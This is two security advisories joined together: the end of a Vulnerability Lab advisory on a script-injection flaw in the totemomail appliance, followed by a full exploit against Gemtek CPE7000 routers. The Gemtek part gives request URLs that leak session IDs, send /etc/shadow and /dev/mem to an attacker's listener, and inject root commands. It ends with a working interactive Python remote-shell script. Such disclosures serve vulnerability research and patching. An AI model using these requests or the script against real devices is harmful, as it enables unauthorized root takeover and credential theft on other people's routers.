The vulnerability can be patched by a secure filter and parse of img onload alert script code tags that actually can bypass the filter validation of the Betreff input fields.
After that encode and parse the print function that stream the context in html format were the execution point occurs finally.
Restrict the input finally and disallow usage of special chars in the subject input field to prevent persistent script code injection attacks.
In the second step a secure validation of the pgp key filename (email|preeshare) and input is required to secure encode the vulnerable email and name value of the certificate file.
Re-encode the editor text values to no get obviously broken format context back like demonstrated in the picture.

Fix (temp): Do not open email via save as function in html to prevent exploitation of the issue.

Totemo AG: The vulnerability is already patched in the newst version of the appliance web-application to protect customers.
The update can be processed automatically or by manual interaction with the web-service.


Security Risk:
==============
The security risk of the filter bypass issue and application-side input validation encoding vulnerability in the totemomail Hybrid Encryption appliance web-application.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
            
#!/usr/bin/python

'''
# Exploit Title: Gemtek CPE7000 / WLTCS-106 multiple vulnerabilities
# Date: 04/06/2016
# Exploit Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
# Vendor Homepage: gemtek.com.tw
# Version: Firmware Version 01.01.02.082
# Tested on: 
# Product Name : CPE7000
# Model ID : WLTCS-106
# Hardware Version : V02A
# Firmware Version : 01.01.02.082

1) SID leak / auth bypass
The sysconfg cgi application leaks a valid "SID" (session id) when the
following unauthenticated request is made:
Request: GET /cgi-bin/sysconf.cgi?page=ajax.asp&action=login_confirm HTTP/1.1

The response body has the form: <checkcode>,<sid>
Example resp: RJIi,BtsS2OdhcVSbviDC5iMa1MKeo9rbrgdQ

The sid thus obtained can be used to "unlock" the cliend-side administration
interface and/or to directly issue request that are usually restricted to
administrative accounts.

POCs: 

I) Unauthenticated remote reboot:
Request:
/cgi-bin/sysconf.cgi?page=ajax_check.asp&action=reboot&reason=1&sid=<SID>

II) Web admin interface access. Add a new cookie with the following values: 
userlevel=2
sid=<sid>

--------------------------------------------------------------------------------

2) Arbitrary file download - with root privileges - via iperf tool
One of the diagnostic tools available on the device can be used to read an
arbitrary file on the device. The sysconfg cgi application fails to sanitize
user input, allowing an attacker to hijack the command issued to the "iperf"
binary, a commonly-used network testing tool that can create TCP and UDP data
streams and measure the throughput of a network that is carrying them.

The client-side validation can be easily bypassed by changing the javascript
validation code, or by directly sending a forged request to the server.
The iperf tool is run with the -c switch, meaning that it is behaving as a
client that sends data to a server. By adding the -F parameter, iperf is forced
to read data from a file instead of generating random data to be sent during the
measurement.

This attack needs 2 step in order to take advantage of the vulnerability.
The first request sets up the command be to run, the second one (a.k.a. toggle)
actually runs the command (check the response body, 1 means running, 0 means stopped).

The following "SETUP" request can be used to set the correct parameters:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=ZZ&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&
perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20 <URLENCODED PATH TO
FILE>

Parameters breakdown:
XXX.XXX.XXX.XXX = attacker ip
YYYY = attacker listening port
zz = time limit
Note: nc is enough to capture data, which may be sent with some additional
header and footer introduced by iperf's protocol

In order to run iperf, the following "TOGGLE" (run/stop) request must be sent:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


POCs:
I) download of /etc/shadow
SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=30&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&p
erf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fetc%2fshadow

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


II) download of device physical memory (/dev/mem) with increased perf_measure_test_time:
SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=6000&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024
&perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fdev%2fmem

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle

--------------------------------------------------------------------------------

3) Unauthenticated remote root command execution
The same vulnerability can be used to issue an arbitrary command on the device.
The command executed on the system to run the diagnostic tool is constructed
using the sprintf function and the following format string, with no additional
checks:

iperf -c "%s" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &

It is therefore possible to insert another command by injecting it in the 
"perf_measure_server_ip" parameter and commenting out the rest of the original
command.

To concatenate a command, the string in the first half before the injection
point ( iperf -c " ) must be correctly closed with quotes ( " ).
Then the new command can be added, preceded by a semicolon ( ; ).
Finally, the other part of the original command after the "injection point"
must be commented out ( # ).

iperf -c ""; <NEWCMD> #" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &


SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=%22%3b%20<COMMAND_HERE>%20%23&perf_measure_server_port=5555&perf_measure_cpe_p
ort=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_pac
ket_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


POC (echo test > /www/test):
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=%22%3b%20echo%20test%20%3E%20%2fwww%2ftest%20%23&perf_measure_server_port=5555
&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type
=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_
client_num=1

and toggle:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle

--------------------------------------------------------------------------------

Remediation:
Disable wan access to the management web interface until an updated firmware is released.

More information and a detailed how-to is available at: http://www.mentat.is/docs/cpe7000-multiple-vulns.html
'''

#Gemtek CPE7000 / WLTCS-106 remote root command execution
#Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
# Tested on: 
# 		Product Name : 	CPE7000
#		Model ID : 	WLTCS-106
#		Hardware Version : 	V02A
#		Firmware Version : 	01.01.02.082

import httplib
import ssl
import urllib
import time
import sys
import getopt
import socket

ssl._create_default_https_context = ssl._create_unverified_context

host=''
port = 443

def check():
	try:
        	conn = httplib.HTTPSConnection(host +":"+str(port), timeout=10)
        	conn.request("GET", "/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1")
        	r1 = conn.getresponse()
        	if r1.status != 200:
			return False
        	return True
	except socket.error as msg:
		print "Cannot connect";
		sys.exit();


def sendcmd( cmd ):
	resource = '"; ' + cmd + ' &> /www/cmdoutput.txt #'
	urlencoded = urllib.quote_plus(resource)
	cmdresource = "/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_ip=" +urlencoded + "&perf_measure_server_port=5555&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1"
	res = makereq (cmdresource)
	res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
	if(res!="1"):
		res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
	time.sleep(1)
	res = makereq ("/cmdoutput.txt")
	print res


def makereq (resource):
	conn = httplib.HTTPSConnection(host +":"+str(port))
	conn.request("GET", resource)
	r1 = conn.getresponse()
	body = r1.read()
	return body


if len(sys.argv) < 2:
	print 'GemtekShell.py <host> [<port> (443)]'
	exit()
elif len(sys.argv) > 2:
	port = sys.argv[2]

host = sys.argv[1]

print 'Connecting to ', host, port

if not check() :
	print "Host seems not vulnerable"
	sys.exit()


while(1):
	cmd = raw_input("gemtekCMD> ")
	if cmd.strip() != "quit" :
		sendcmd(cmd)
	else :
		sys.exit()